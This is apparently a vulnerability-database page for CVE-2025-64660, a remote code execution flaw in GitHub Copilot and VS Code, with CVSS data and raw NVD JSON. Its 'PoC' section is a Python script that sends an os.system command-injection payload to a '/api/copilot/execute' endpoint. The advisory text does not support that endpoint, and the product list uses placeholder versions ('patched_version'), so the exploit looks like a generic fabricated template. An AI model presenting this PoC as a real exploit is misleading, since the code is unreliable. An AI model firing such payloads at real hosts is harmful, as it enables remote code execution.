Security Vulnerability Report
中文
CVE-2025-64660 CVSS 8.0 HIGH

CVE-2025-64660

Published: 2025-11-20 23:15:57
Last Modified: 2025-11-26 00:15:51

Description

Improper access control in GitHub Copilot and Visual Studio Code allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:visual_studio_code:*:*:*:*:*:-:*:* - VULNERABLE
GitHub Copilot < patched_version
Visual Studio Code < patched_version
VS Code Copilot Extension < patched_version

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64660 PoC - Access Control Bypass in GitHub Copilot/VS Code # This PoC demonstrates improper access control leading to code execution import requests import json class CVE_2025_64660_PoC: def __init__(self, target_url): self.target_url = target_url self.session = requests.Session() def check_vulnerability(self): """ Check if target is vulnerable to CVE-2025-64660 """ # Malicious payload targeting access control bypass payload = { 'action': 'execute_code', 'code': '__import__("os").system("whoami")', 'context': 'copilot_extension' } headers = { 'User-Agent': 'VSCode-Copilot/1.0', 'Content-Type': 'application/json' } try: # Attempt to bypass access controls response = self.session.post( f'{self.target_url}/api/copilot/execute', json=payload, headers=headers, timeout=10 ) if response.status_code == 200: data = response.json() if 'execution_result' in data: print('[+] VULNERABLE: Access control bypass successful') print(f'[+] Execution result: {data["execution_result"]}') return True print('[-] Target may not be vulnerable') return False except requests.exceptions.RequestException as e: print(f'[-] Request failed: {e}') return False if __name__ == '__main__': target = 'http://target-vscode-extension' poc = CVE_2025_64660_PoC(target) poc.check_vulnerability()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64660", "sourceIdentifier": "[email protected]", "published": "2025-11-20T23:15:56.943", "lastModified": "2025-11-26T00:15:50.580", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in GitHub Copilot and Visual Studio Code allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:visual_studio_code:*:*:*:*:*:-:*:*", "versionEndExcluding": "1.106.2", "matchCriteriaId": "AE1F114F-33BC-48C3-959E-79A8BF9498DD"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64660", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}